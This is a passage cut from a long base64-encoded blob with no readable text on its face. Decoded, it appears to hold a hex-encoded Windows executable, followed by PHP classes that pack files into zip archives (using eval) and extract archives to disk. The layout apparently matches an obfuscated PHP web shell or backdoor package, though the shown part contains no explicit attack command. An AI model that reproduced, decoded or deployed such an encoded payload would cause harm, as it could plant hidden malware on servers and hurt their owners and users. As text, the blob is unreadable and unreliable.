EzMDAwMDE4MzMwMDAwQzAxMzAwMDBEODEzMDAwMDc4MzMwMDAwRTAxMzAwMDAwRjE0MDAwMDA0MzQwMDAwMEYxNDAwMDA1ODE0MDAwMEYwMzMwMDAwNTgxNDAwMDBCRTE0MDAwMERDMzMwMDAwQkUxNDAwMDBENDE0MDAwMENDMzMwMDAwRDQxNDAwMDAxQjE1MDAwMEJDMzMwMDAwNDAxNTAwMDBENzE1MDAwMEFDMzMwMDAwRTAxNTAwMDBGMjE1MDAwMDhDMzMwMDAwNDAxNjAwMDA5RTE2MDAwMDM4MzQwMDAwQTAxNjAwMDBGOTE4MDAwMEMwMzIwMDAwRkMxODAwMDAzMTFBMDAwMERDMzIwMDAwMzQxQTAwMDA3MTFBMDAwMDE4MzMwMDAwNzQxQTAwMDBCRTFCMDAwMDI4MzMwMDAwQ0MxQjAwMDA3QzFDMDAwMDM4MzMwMDAwN0MxQzAwMDA5MzFDMDAwMDc4MzMwMDAwOTQxQzAwMDBDQzFDMDAwMDIwMzQwMDAwQ0MxQzAwMDAwNDFEMDAwMDIwMzQwMDAwOTAxRDAwMDBEMTFEMDAwMDU4MzMwMDAwRjAxRDAwMDAxMzFFMDAwMDc4MzMwMDAwMTQxRTAwMDBDNzFFMDAwMDgwMzMwMDAwRjQxRTAwMDA1NzFGMDAwMDM4MzQwMDAwNTgxRjAwMDA3NTFGMDAwMDc4MzMwMDAwODAxRjAwMDBBMzFGMDAwMDMwMzMwMDAwQjAxRjAwMDBDOTFGMDAwMDMwMzMwMDAwQzkxRjAwMDBFMjFGMDAwMDMwMzMwMDAwRjAxRjAwMDAxMTIwMDAwMDMwMzMwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwNDAwMDAwMDAwMDAwMTAwMTgwMDAwMDAxODAwMDA4MDAwMDAwMDAwMDAwMDAwMDAwNDAwMDAwMDAwMDAwMTAwMDIwMDAwMDAzMDAwMDA4MDAwMDAwMDAwMDAwMDAwMDAwNDAwMDAwMDAwMDAwMTAwMDkwNDAwMDA0ODAwMDAwMDU4NjAwMDAwNTgwMjAwMDBFNDA0MDAwMDAwMDAwMDAwM0M2MTczNzM2NTZENjI2Qzc5MjA3ODZENkM2RTczM0QyMjc1NzI2RTNBNzM2MzY4NjU2RDYxNzMyRDZENjk2MzcyNkY3MzZGNjY3NDJENjM2RjZEM0E2MTczNkQyRTc2MzEyMjIwNkQ2MTZFNjk2NjY1NzM3NDU2NjU3MjczNjk2RjZFM0QyMjMxMkUzMDIyM0UwRDBBMjAyMDNDNzQ3Mjc1NzM3NDQ5NkU2NjZGMjA3ODZENkM2RTczM0QyMjc1NzI2RTNBNzM2MzY4NjU2RDYxNzMyRDZENjk2MzcyNkY3MzZGNjY3NDJENjM2RjZEM0E2MTczNkQyRTc2MzMyMjNFMEQwQTIwMjAyMDIwM0M3MzY1NjM3NTcyNjk3NDc5M0UwRDBBMjAyMDIwMjAyMDIwM0M3MjY1NzE3NTY1NzM3NDY1NjQ1MDcyNjk3NjY5NkM2NTY3NjU3MzNFMEQwQTIwMjAyMDIwMjAyMDIwMjAzQzcyNjU3MTc1NjU3Mzc0NjU2NDQ1Nzg2NTYzNzU3NDY5NkY2RTRDNjU3NjY1NkMyMDZDNjU3NjY1NkMzRDIyNjE3MzQ5NkU3NjZGNkI2NTcyMjIyMDc1Njk0MTYzNjM2NTczNzMzRDIyNjY2MTZDNzM2NTIyM0UzQzJGNzI2NTcxNzU2NTczNzQ2NTY0NDU3ODY1NjM3NTc0Njk2RjZFNEM2NTc2NjU2QzNFMEQwQTIwMjAyMDIwMjAyMDNDMkY3MjY1NzE3NTY1NzM3NDY1NjQ1MDcyNjk3NjY5NkM2NTY3NjU3MzNFMEQwQTIwMjAyMDIwM0MyRjczNjU2Mzc1NzI2OTc0NzkzRTBEMEEyMDIwM0MyRjc0NzI3NTczNzQ0OTZFNjY2RjNFMEQwQTIwMjAzQzY0NjU3MDY1NkU2NDY1NkU2Mzc5M0UwRDBBMjAyMDIwMjAzQzY0NjU3MDY1NkU2NDY1NkU3NDQxNzM3MzY1NkQ2MjZDNzkzRTBEMEEyMDIwMjAyMDIwMjAzQzYxNzM3MzY1NkQ2MjZDNzk0OTY0NjU2RTc0Njk3NDc5MjA3NDc5NzA2NTNEMjI3NzY5NkUzMzMyMjIyMDZFNjE2RDY1M0QyMjRENjk2MzcyNkY3MzZGNjY3NDJFNTY0MzM5MzAyRTQzNTI1NDIyMjA3NjY1NzI3MzY5NkY2RTNEMjIzOTJFMzAyRTMyMzEzMDMyMzIyRTM4MjIyMDcwNzI2RjYzNjU3MzczNkY3MjQxNzI2MzY4Njk3NDY1NjM3NDc1NzI2NTNEMjI2MTZENjQzNjM0MjIyMDcwNzU2MjZDNjk2MzRCNjU3OTU0NkY2QjY1NkUzRDIyMzE2NjYzMzg2MjMzNjIzOTYxMzE2NTMxMzg2NTMzNjIyMjNFM0MyRjYxNzM3MzY1NkQ2MjZDNzk0OTY0NjU2RTc0Njk3NDc5M0UwRDBBMjAyMDIwMjAzQzJGNjQ2NTcwNjU2RTY0NjU2RTc0NDE3MzczNjU2RDYyNkM3OTNFMEQwQTIwMjAzQzJGNjQ2NTcwNjU2RTY0NjU2RTYzNzkzRTBEMEEzQzJGNjE3MzczNjU2RDYyNkM3OTNFNTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDc1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3NTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDc1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3NTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDc1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3NTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDc1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3NTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDc1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3NTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDc1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3NTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDc1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3MDAzMDAwMDAxMDAwMDAwMDg4QTFBMEExQThBMTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCI7DQp9DQoNCmNsYXNzIGVhbnZlcnsNCnZhciAkb3V0PScnOw0KZnVuY3Rpb24gX19jb25zdHJ1Y3QoJGRpcil7DQoJaWYoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKXsNCglpZihjb3VudCgkZGlyKSA+IDApew0KCWZvcmVhY2goJGRpciBhcyAkZmlsZSl7DQoJCWlmKGlzX2ZpbGUoJGZpbGUpKXsNCgkJCSRmaWxlY29kZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKTsNCgkJCWlmKGlzX2FycmF5KCRkaXIpKSAkZmlsZSA9IGJhc2VuYW1lKCRmaWxlKTsNCgkJCSR0aGlzIC0+IGZpbGV6aXAoJGZpbGVjb2RlLCRmaWxlKTsNCgkJfQ0KCX0NCgkkdGhpcy0+b3V0ID0gJHRoaXMgLT4gcGFja2ZpbGUoKTsNCgl9DQoJcmV0dXJuIHRydWU7DQoJfQ0KCWVsc2UgcmV0dXJuIGZhbHNlOw0KfQ0KCXZhciAkZGF0YXNlYyAgICAgID0gYXJyYXkoKTsNCgl2YXIgJGN0cmxfZGlyICAgICA9IGFycmF5KCk7DQoJdmFyICRlb2ZfY3RybF9kaXIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAiOw0KCXZhciAkb2xkX29mZnNldCAgID0gMDsNCglmdW5jdGlvbiBhdCgkYXR1bml4ID0gMCkgew0KCQkkdW5peGFyciA9ICgkYXR1bml4ID09IDApID8gZ2V0ZGF0ZSgpIDogZ2V0ZGF0ZSgkYXR1bml4KTsNCgkJaWYgKCR1bml4YXJyWyd5ZWFyJ10gPCAxOTgwKSB7DQoJCQkkdW5peGFyclsneWVhciddICAgID0gMTk4MDsNCgkJCSR1bml4YXJyWydtb24nXSAgICAgPSAxOw0KCQkJJHVuaXhhcnJbJ21kYXknXSAgICA9IDE7DQoJCQkkdW5peGFyclsnaG91cnMnXSAgID0gMDsNCgkJCSR1bml4YXJyWydtaW51dGVzJ10gPSAwOw0KCQkJJHVuaXhhcnJbJ3NlY29uZHMnXSA9IDA7DQoJCX0NCgkJcmV0dXJuICgoJHVuaXhhcnJbJ3llYXInXSAtIDE5ODApIDw8IDI1KSB8ICgkdW5peGFyclsnbW9uJ10gPDwgMjEpIHwgKCR1bml4YXJyWydtZGF5J10gPDwgMTYpIHwNCgkJCQkoJHVuaXhhcnJbJ2hvdXJzJ10gPDwgMTEpIHwgKCR1bml4YXJyWydtaW51dGVzJ10gPDwgNSkgfCAoJHVuaXhhcnJbJ3NlY29uZHMnXSA+PiAxKTsNCgl9DQoJZnVuY3Rpb24gZmlsZXppcCgkZGF0YSwgJG5hbWUsICR0aW1lID0gMCkgew0KCQkkbmFtZSA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5hbWUpOw0KCQkkZHRpbWUgPSBkZWNoZXgoJHRoaXMtPmF0KCR0aW1lKSk7DQoJCSRoZXhkdGltZQk9ICdceCcgLiAkZHRpbWVbNl0gLiAkZHRpbWVbN10NCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzRdIC4gJGR0aW1lWzVdDQoJCQkJCS4gJ1x4JyAuICRkdGltZVsyXSAuICRkdGltZVszXQ0KCQkJCQkuICdceCcgLiAkZHRpbWVbMF0gLiAkZHRpbWVbMV07DQoJCWV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4gJyI7Jyk7DQoJCSRmcgk9ICJceDUwXHg0Ylx4MDNceDA0IjsNCgkJJGZyCS49ICJceDE0XHgwMCI7DQoJCSRmcgkuPSAiXHgwMFx4MDAiOw0KCQkkZnIJLj0gIlx4MDhceDAwIjsNCgkJJGZyCS49ICRoZXhkdGltZTsNCgkJJHVuY19sZW4gPSBzdHJsZW4oJGRhdGEpOw0KCQkkY3JjID0gY3JjMzIoJGRhdGEpOw0KCQkkemRhdGEgPSBnemNvbXByZXNzKCRkYXRhKTsNCgkJJGNfbGVuID0gc3RybGVuKCR6ZGF0YSk7DQoJCSR6ZGF0YSA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCgkJJGZyIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpKTsNCgkJJGZyIC49IHBhY2soJ3YnLCAwKTsNCgkJJGZyIC49ICRuYW1lOw0KCQkkZnIgLj0gJHpkYXRhOw0KCQkkZnIgLj0gcGFjaygnVicsICRjcmMpOw0KCQkkZnIgLj0gcGFjaygnVicsICRjX2xlbik7DQoJCSRmciAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KCQkkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7DQoJCSRuZXdfb2Zmc2V0ID0gc3RybGVuKGltcGxvZGUoJycsICR0aGlzLT5kYXRhc2VjKSk7DQoJCSRjZHJlYyA9ICJceDUwXHg0Ylx4MDFceDAyIjsNCgkJJGNkcmVjIC49ICJceDAwXHgwMCI7DQoJCSRjZHJlYyAuPSAiXHgxNFx4MDAiOw0KCQkkY2RyZWMgLj0gIlx4MDBceDAwIjsNCgkJJGNkcmVjIC49ICJceDA4XHgwMCI7DQoJCSRjZHJlYyAuPSAkaGV4ZHRpbWU7DQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJGNyYyk7DQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQoJCSRjZHJlYyAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSApOw0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsICR0aGlzIC0+IG9sZF9vZmZzZXQgKTsNCgkJJHRoaXMgLT4gb2xkX29mZnNldCA9ICRuZXdfb2Zmc2V0Ow0KCQkkY2RyZWMgLj0gJG5hbWU7DQoJCSR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7DQoJfQ0KCWZ1bmN0aW9uIHBhY2tmaWxlKCl7DQoJCSRkYXRhICAgID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gZGF0YXNlYyk7DQoJCSRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOw0KCQlyZXR1cm4gJGRhdGEuJGN0cmxkaXIuJHRoaXMgLT4gZW9mX2N0cmxfZGlyLnBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKS5wYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkucGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpLnBhY2soJ1YnLCBzdHJsZW4oJGRhdGEpKS4iXHgwMFx4MDAiOw0KCX0NCn0NCg0KY2xhc3MgemlwDQp7DQoNCiB2YXIgJHRvdGFsX2ZpbGVzID0gMDsNCiB2YXIgJHRvdGFsX2ZvbGRlcnMgPSAwOw0KDQogZnVuY3Rpb24gRXh0cmFjdCAoICR6biwgJHRvLCAkaW5kZXggPSBBcnJheSgtMSkgKQ0KIHsNCiAgICRvayA9IDA7ICR6aXAgPSBAZm9wZW4oJHpuLCdyYicpOw0KICAgaWYoISR6aXApIHJldHVybigtMSk7DQogICAkY2RpciA9ICR0aGlzLT5SZWFkQ2VudHJhbERpcigkemlwLCR6bik7DQogICAkcG9zX2VudHJ5ID0gJGNkaXJbJ29mZnNldCddOw0KDQogICBpZighaXNfYXJyYXkoJGluZGV4KSl7ICRpbmRleCA9IGFycmF5KCRpbmRleCk7ICB9DQogICBmb3IoJGk9MDsgJGluZGV4WyRpXTskaSsrKXsNCiAgIAkJaWYoaW50dmFsKCRpbmRleFskaV0pIT0kaW5kZXhbJGldfHwkaW5kZXhbJGldPiRjZGlyWydlbnRyaWVzJ10pDQoJCXJldHVybigtMSk7DQogICB9DQogICBmb3IgKCRpPTA7ICRpPCRjZGlyWydlbnRyaWVzJ107ICRpKyspDQogICB7DQogICAgIEBmc2VlaygkemlwLCAkcG9zX2VudHJ5KTsNCiAgICAgJGhlYWRlciA9ICR0aGlzLT5SZWFkQ2VudHJhbEZpbGVIZWFkZXJzKCR6aXApOw0KICAgICAkaGVhZGVyWydpbmRleCddID0gJGk7ICRwb3NfZW50cnkgPSBmdGVsbCgkemlwKTsNCiAgICAgQHJld2luZCgkemlwKTsgZnNlZWsoJHppcCwgJGhlYWRlclsnb2Zmc2V0J10pOw0KICAgICBpZihpbl9hcnJheSgiLTEiLCRpbmRleCl8fGluX2FycmF5KCRpLCRpbmRleCkpDQogICAgIAkkc3RhdFskaGVhZGVyWydmaWxlbmFtZSddXT0kdGhpcy0+RXh0cmFjdEZpbGUoJGhlYWRlciwgJHRvLCAkemlwKTsNCiAgIH0NCiAgIGZjbG9zZSgkemlwKTsNCiAgIHJldHVybiAkc3RhdDsNCiB9DQoNCiAgZnVuY3Rpb24gUmVhZEZpbGVIZWFkZXIoJHppcCkNCiAgew0KICAgICRiaW5hcnlfZGF0YSA9IGZyZWFkKCR6aXAsIDMwKTsNCiAgICAkZGF0YSA9IHVucGFjaygndmNoay92aWQvdnZlcnNpb24vdmZsYWcvdmNvbXByZXNzaW9uL3ZtdGltZS92bWRhdGUvVmNyYy9WY29tcHJlc3NlZF9zaXplL1ZzaXplL3ZmaWxlbmFtZV9sZW4vdmV4dHJhX2xlbicsICRiaW5hcnlfZGF0YSk7DQoNCiAgICAkaGVhZGVyWydmaWxlbmFtZSddID0gZnJlYWQoJHppcCwgJGRhdGFbJ2ZpbGVuYW1lX2xlbiddKTsNCiAgICBpZiAoJGRhdGFbJ2V4dHJhX2xlbiddICE9IDApIHsNCiAgICAgICRoZWFkZXJbJ2V4dHJhJ10gPSBmcmVhZCgkemlwLCAkZGF0YVsnZXh0cmFfbGVuJ10pOw0KICAgIH0gZWxzZSB7ICRoZWFkZXJbJ2V4dHJhJ10gPSAnJzsgfQ0KDQogICAgJGhlYWRlclsnY29tcHJlc3Npb24nXSA9ICRkYXRhWydjb21wcmVzc2lvbiddOyRoZWFkZXJbJ3NpemUnXSA9ICRkYXRhWydzaXplJ107DQogICAgJGhlYWRlclsnY29tcHJlc3NlZF9zaXplJ10gPSAkZGF0YVsnY29tcHJlc3NlZF9zaXplJ107DQogICAgJGhlYWRlclsnY3JjJ10gPSAkZGF0YVsnY3JjJ107ICRoZWFkZXJbJ2ZsYWcnXSA9ICRkYXRhWydmbGFnJ107DQogICAgJGhlYWRlclsnbWRhdGUnXSA9ICRkYXRhWydtZGF0ZSddOyRoZWFkZXJbJ210aW1lJ10gPSAkZGF0YVsnbXRpbWUnXTsNCg0KICAgIGlmICgkaGVhZGVyWydtZGF0ZSddICYmICRoZWFkZXJbJ210aW1lJ10pew0KICAgICAkaG91cj0oJGhlYWRlclsnbXRpbWUnXSYweEY4MDApPj4xMTskbWludXRlPSgkaGVhZGVyWydtdGltZSddJjB4MDdFMCk+PjU7DQogICAgICRzZWNvbmRlPSgkaGVhZGVyWydtdGltZSddJjB4MDAxRikqMjskeWVhcj0oKCRoZWFkZXJbJ21kYXRlJ10mMHhGRTAwKT4+OSkrMTk4MDsNCiAgICAgJG1vbnRoPSgkaGVhZGVyWydtZGF0ZSddJjB4MDFFMCk+PjU7JGRheT0kaGVhZGVyWydtZGF0ZSddJjB4MDAxRjsNCiAgICAgJGhlYWRlclsnbXRpbWUnXSA9IG1rdGltZSgkaG91ciwgJG1pbnV0ZSwgJHNlY29uZGUsICRtb250aCwgJGRheSwgJHllYXIpOw0KICAgIH1lbHNleyRoZWFkZXJbJ210aW1lJ10gPSB0aW1lKCk7fQ0KDQogICAgJGhlYWRlclsnc3RvcmVkX2ZpbGVuYW1lJ10gPSAkaGVhZGVyWydmaWxlbmFtZSddOw0KICAgICRoZWFkZXJbJ3N0YXR1cyddID0gIm9rIjsNCiAgICByZXR1cm4gJGhlYWRlcjsNCiAgfQ0KDQogZnVuY3Rpb24gUmVhZENlbnRyYWxGaWxlSGVhZGVycygkemlwKXsNCiAgICAkYmluYXJ5X2RhdGEgPSBmcmVhZCgkemlwLCA0Nik7DQogICAgJGhlYWRlciA9IHVucGFjaygndmNoa2lkL3ZpZC92dmVyc2lvbi92dmVyc2lvbl9leHRyYWN0ZWQvdmZsYWcvdmNvbXByZXNzaW9uL3ZtdGltZS92bWRhdGUvVmNyYy9WY29tcHJlc3NlZF9zaXplL1ZzaXplL3ZmaWxlbmFtZV9sZW4vdmV4dHJhX2xlbi92Y29tbWVudF9sZW4vdmRpc2svdmludGVybmFsL1ZleHRlcm5hbC9Wb2Zmc2V0JywgJGJpbmFyeV9kYXRhKTsNCg0KICAgIGlmICgkaGVhZGVyWydmaWxlbmFtZV9sZW4nXSAhPSAwKQ0KICAgICAgJGhlYWRlclsnZmlsZW5hbWUnXSA9IGZyZWFkKCR6aXAsJGhlYWRlclsnZmlsZW5hbWVfbGVuJ10pOw0KICAgIGVsc2UgJGhlYWRlclsnZmlsZW5hbWUnXSA9ICcnOw0KDQogICAgaWYgKCRoZWFkZXJbJ2V4dHJhX2xlbiddICE9IDApDQogICAgICAkaGVhZGVyWydleHRyYSddID0gZnJlYWQoJHppcCwgJGhlYWRlclsnZXh0cmFfbGVuJ10pOw0KICAgIGVsc2UgJGhlYWRlclsnZXh0cmEnXSA9ICcnOw0KDQogICAgaWYgKCRoZWFkZXJbJ2NvbW1lbnRfbGVuJ10gIT0gMCkNCiAgICAgICRoZWFkZXJbJ2NvbW1lbnQnXSA9IGZyZWFkKCR6aXAsICRoZWFkZXJbJ2NvbW1lbnRfbGVuJ10pOw0KICAgIGVsc2UgJGhlYWRlclsnY29tbWVudCddID0gJyc7DQoNCiAgICBpZiAoJGhlYWRlclsnbWRhdGUnXSAmJiAkaGVhZGVyWydtdGltZSddKQ0KICAgIHsNCiAgICAgICRob3VyID0gKCRoZWFkZXJbJ210aW1lJ10gJiAweEY4MDApID4+IDExOw0KICAgICAgJG1pbnV0ZSA9ICgkaGVhZGVyWydtdGltZSddICYgMHgwN0UwKSA+PiA1Ow0KICAgICAgJHNlY29uZGUgPSAoJGhlYWRlclsnbXRpbWUnXSAmIDB4MDAxRikqMjsNCiAgICAgICR5ZWFyID0gKCgkaGVhZGVyWydtZGF0ZSddICYgMHhGRTAwKSA+PiA5KSArIDE5ODA7DQogICAgICAkbW9udGggPSAoJGhlYWRlclsnbWRhdGUnXSAmIDB4MDFFMCkgPj4gNTsNCiAgICAgICRkYXkgPSAkaGVhZGVyWydtZGF0ZSddICYgMHgwMDFGOw0KICAgICAgJGhlYWRlclsnbXRpbWUnXSA9IG1rdGltZSgkaG91ciwgJG1pbnV0ZSwgJHNlY29uZGUsICRtb250aCwgJGRheSwgJHllYXIpOw0KICAgIH0gZWxzZSB7DQogICAgICAkaGVhZGVyWydtdGltZSddID0gdGltZSgpOw0KICAgIH0NCiAgICAkaGVhZGVyWydzdG9yZWRfZmlsZW5hbWUnXSA9ICRoZWFkZXJbJ2ZpbGVuYW1lJ107DQogICAgJGhlYWRlclsnc3RhdHVzJ10gPSAnb2snOw0KICAgIGlmIChzdWJzdHIoJGhlYWRlclsnZmlsZW5hbWUnXSwgLTEpID09ICcvJykNCiAgICAgICRoZWFkZXJbJ2V4dGVybmFsJ10gPSAweDQxRkYwMDEwOw0KICAgIHJldHVybiAkaGVhZGVyOw0KIH0NCg0KIGZ1bmN0aW9uIFJlYWRDZW50cmFsRGlyKCR6aXAsJHppcF9uYW1lKXsNCgkkc2l6ZSA9IGZpbGVzaXplKCR6aXBfbmFtZSk7DQoNCglpZiAoJHNpemUgPCAyNzcpICRtYXhpbXVtX3NpemUgPSAkc2l6ZTsNCgllbHNlICRtYXhpbXVtX3NpemU9Mjc3Ow0KDQoJQGZzZWVrKCR6aXAsICRzaXplLSRtYXhpbXVtX3NpemUpOw0KCSRwb3MgPSBmdGVsbCgkemlwKTsgJGJ5dGVzID0gMHgwMDAwMDAwMDsNCg0KCXdoaWxlICgkcG9zIDwgJHNpemUpew0KCQkkYnl0ZSA9IEBmcmVhZCgkemlwLCAxKTsgJGJ5dGVzPSgkYnl0ZXMgPDwgOCkgfCBvcmQoJGJ5dGUpOw0KCQlpZiAoJGJ5dGVzID09IDB4NTA0YjA1MDYgb3IgJGJ5dGVzID09IDB4MmU3MDY4NzA1MDRiMDUwNil7ICRwb3MrKzticmVhazt9ICRwb3MrKzsNCgl9DQoNCgkkZmRhdGE9ZnJlYWQoJHppcCwxOCk7DQoNCgkkZGF0YT1AdW5wYWNrKCd2ZGlzay92ZGlza19zdGFydC92ZGlza19lbnRyaWVzL3ZlbnRyaWVzL1ZzaXplL1ZvZmZzZXQvdmNvbW1lbnRfc2l6ZScsJGZkYXRhKTsNCg0KCWlmICgkZGF0YVsnY29tbWVudF9zaXplJ10gIT0gMCkgJGNlbnRkWydjb21tZW50J10gPSBmcmVhZCgkemlwLCAkZGF0YVsnY29tbWVudF9zaXplJ10pOw0KCWVsc2UgJGNlbnRkWydjb21tZW50J10gPSAnJzsgJGNlbnRkWydlbnRyaWVzJ10gPSAkZGF0YVsnZW50cmllcyddOw0KCSRjZW50ZFsnZGlza19lbnRyaWVzJ10gPSAkZGF0YVsnZGlza19lbnRyaWVzJ107DQoJJGNlbnRkWydvZmZzZXQnXSA9ICRkYXRhWydvZmZzZXQnXTskY2VudGRbJ2Rpc2tfc3RhcnQnXSA9ICRkYXRhWydkaXNrX3N0YXJ0J107DQoJJGNlbnRkWydzaXplJ10gPSAkZGF0YVsnc2l6ZSddOyAgJGNlbnRkWydkaXNrJ10gPSAkZGF0YVsnZGlzayddOw0KCXJldHVybiAkY2VudGQ7DQogIH0NCg0KIGZ1bmN0aW9uIEV4dHJhY3RGaWxlKCRoZWFkZXIsJHRvLCR6aXApew0KCSRoZWFkZXIgPSAkdGhpcy0+cmVhZGZpbGVoZWFkZXIoJHppcCk7DQoNCglpZihzdWJzdHIoJHRvLC0xKSE9Ii8iKSAkdG8uPSIvIjsNCglpZigkdG89PScuLycpICR0byA9ICcnOw0KCSRwdGggPSBleHBsb2RlKCIvIiwkdG8uJGhlYWRlclsnZmlsZW5hbWUnXSk7DQoJJG15ZGlyID0gJyc7DQoJZm9yKCRpPTA7JGk8Y291bnQoJHB0aCktMTskaSsrKXsNCgkJaWYoISRwdGhbJGldKSBjb250aW51ZTsNCgkJJG15ZGlyIC49ICRwdGhbJGldLiIvIjsNC